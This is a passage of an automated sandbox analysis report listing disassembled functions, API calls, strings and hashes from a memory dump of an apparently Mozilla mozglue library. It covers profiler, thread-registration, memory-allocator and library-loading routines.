Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4E485F
GetCurrentThreadId.KERNEL32 ref: 6C4E487E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E488B
free.MOZGLUE(?), ref: 6C4E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E4956
free.MOZGLUE(00000000), ref: 6C4E4960
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E499A

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

free.MOZGLUE(?), ref: 6C4E49C6
free.MOZGLUE(?), ref: 6C4E49E9

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4E4A42
[I %d/%d] profiler_shutdown, xrefs: 6C4E4A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E4828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E47FC

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction ID: bc32ad869a3fc813948ef1718eb681853037548ad8e45aa4265dd276f7652742
Opcode Fuzzy Hash: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction Fuzzy Hash: A681F571A00110CFDB00DFA8CC48F5A3775BF8A36AF960629D916A7F41D731E855CB9A

Function 6C4E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
Part of subcall function 6C4E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4E44D2
InitOnceExecuteOnce.KERNEL32(6C55F80C,6C4DF240,?,?), ref: 6C4E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E455C
LoadLibraryW.KERNEL32(?), ref: 6C4E4592
InitializeCriticalSection.KERNEL32(6C55F770), ref: 6C4E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4E45BB
InitOnceExecuteOnce.KERNEL32(6C55F818,6C4DF240,?,?), ref: 6C4E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E466D
VerSetConditionMask.NTDLL ref: 6C4E469F
VerSetConditionMask.NTDLL ref: 6C4E46AB
VerSetConditionMask.NTDLL ref: 6C4E46B2
VerSetConditionMask.NTDLL ref: 6C4E46B9
VerSetConditionMask.NTDLL ref: 6C4E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4E46FD

Strings

l, xrefs: 6C4E4578
user32.dll, xrefs: 6C4E4557, 6C4E463F
kernel32.dll, xrefs: 6C4E44CD
NativeNtBlockSet_Write, xrefs: 6C4E46F7
GUl, xrefs: 6C4E44FC
WRusr.dll, xrefs: 6C4E44B5

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GUl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1685291523
Opcode ID: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction ID: 34045ad6320e12c9c95d4a43c2abe66f66a09155707e4339070c463d5f5dd165
Opcode Fuzzy Hash: 979b2477d0fc1b18c2baae442296ba87aae4198cb65abcf8e68315a8f663ab98
Instruction Fuzzy Hash: 7F6108B0A00344AFEB00EFA0CC09F957BF8EF4A34AF868659E5049BB41D7B59955CF94

Function 6C51F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C51F8F9

Part of subcall function 6C4E6390: GetCurrentThreadId.KERNEL32 ref: 6C4E63D0
Part of subcall function 6C4E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4E63DF
Part of subcall function 6C4E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4E640E

ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F93A
GetCurrentThreadId.KERNEL32 ref: 6C51F98A
GetCurrentThreadId.KERNEL32 ref: 6C51F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F716

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C4DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C51F739
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F746
GetCurrentThreadId.KERNEL32 ref: 6C51F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55385B,00000002,?,?,?,?,?), ref: 6C51F829
free.MOZGLUE(?,?,00000000,?), ref: 6C51F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C51F866
free.MOZGLUE(?), ref: 6C51FA0C

Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C
Part of subcall function 6C4E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
Part of subcall function 6C4E5E60: GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
Part of subcall function 6C4E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27
Part of subcall function 6C4E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F53
Part of subcall function 6C4E5E60: GetCurrentThread.KERNEL32 ref: 6C4E5F5C
Part of subcall function 6C4E5E60: GetCurrentProcess.KERNEL32 ref: 6C4E5F66
Part of subcall function 6C4E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E

free.MOZGLUE(?), ref: 6C51F9C5
free.MOZGLUE(?), ref: 6C51F9DA

Strings

Thread , xrefs: 6C51F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C51F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C51F71F
" attempted to re-register as ", xrefs: 6C51F858

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction ID: de55df5fa2ba918e0d5ec4f1753462140a1cad23095b586e53a9f93daff6bc88
Opcode Fuzzy Hash: 11b19c0a012e7944b62f4bffce530a444a154cc9953e0d8864aa9e892c7a33bc
Instruction Fuzzy Hash: FD81D6716043049FDB10EF24CC44AAAB7A5EFC5308F95465DE84997B51EB31E849CBD2

Function 6C51EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51EE60
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE6D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C51EEA5
CloseHandle.KERNEL32(?), ref: 6C51EEB4
free.MOZGLUE(00000000), ref: 6C51EEBB
GetCurrentThreadId.KERNEL32 ref: 6C51EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51EECF

Part of subcall function 6C51DE60: GetCurrentThreadId.KERNEL32 ref: 6C51DE73
Part of subcall function 6C51DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B
Part of subcall function 6C51DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
Part of subcall function 6C51DE60: free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
Part of subcall function 6C51DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

GetCurrentThreadId.KERNEL32 ref: 6C51EF1E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF2B
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EF59
GetCurrentThreadId.KERNEL32 ref: 6C51EFB0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFBD
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51EFE1
GetCurrentThreadId.KERNEL32 ref: 6C51EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F000

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F02F

Part of subcall function 6C51F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC
Part of subcall function 6C51F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C51EED7
[I %d/%d] profiler_pause, xrefs: 6C51F008

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction ID: 679b26b66f4111e87666dab46c03c264029b6d1082788409dd445c5b91d6b570
Opcode Fuzzy Hash: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction Fuzzy Hash: B951A435708210DFEB00AB65DC0C7A67BB4EB87328F96071AE915C3F81DBB55844C7AA

Function 6C50D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C50D047
GetSystemInfo.KERNEL32(?), ref: 6C50D093
__Init_thread_footer.LIBCMT ref: 6C50D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C50D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C50D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C50D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C50D1B1

Strings

MOZ_CRASH(), xrefs: 6C50D277
<jemalloc>, xrefs: 6C50D268, 6C50D311
Compile-time page size does not divide the runtime one., xrefs: 6C50D26D
MALLOC_OPTIONS, xrefs: 6C50D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C50D322

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction ID: ad6426bf259c87df681dd460a3b5fcb575defc0667717e2f4c610bc012407c9b
Opcode Fuzzy Hash: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction Fuzzy Hash: 7A811370B042419FEB00DF68CD54B697BF4EB46308F96052AE901D7F80EBB9A805CBD9

Function 6C4E7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4E801D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E808D

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8199

Strings

0>Ql, xrefs: 6C4E811E

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Ql
API String ID: 2721933968-406761025
Opcode ID: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction ID: 89e085a994dafa142ffc40a84774b79003cff7a337f4b896889fff570ef251c0
Opcode Fuzzy Hash: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction Fuzzy Hash: C75172B1E002149BDF00DBA9DC84EAFBBB9AF89265F154129E815E7741E730ED05CBA1

Function 6C4E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4E6017

Part of subcall function 6C4D4310: moz_xmalloc.MOZGLUE(00000010,?,6C4D42D2), ref: 6C4D436A
Part of subcall function 6C4D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4D42D2), ref: 6C4D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
GetCurrentProcess.KERNEL32 ref: 6C4E5F53
GetCurrentThread.KERNEL32 ref: 6C4E5F5C
GetCurrentProcess.KERNEL32 ref: 6C4E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E60CC

Strings

GeckoMain, xrefs: 6C4E5ECE, 6C4E6015

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction ID: dde8e83f1fcd86cecbf95675bc4b111d03995ff203afee0a47e7edfe99234071
Opcode Fuzzy Hash: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction Fuzzy Hash: 8E719EB0604740DFD700DF28C880E6ABBF0BF9A305F554A6DE98687B52D771E948CB92

Function 6C4E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4D3217
Part of subcall function 6C4D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4D3236
Part of subcall function 6C4D31C0: FreeLibrary.KERNEL32 ref: 6C4D324B
Part of subcall function 6C4D31C0: __Init_thread_footer.LIBCMT ref: 6C4D3260
Part of subcall function 6C4D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4D327F
Part of subcall function 6C4D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D328E
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32AB
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32D1
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4D32E5
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
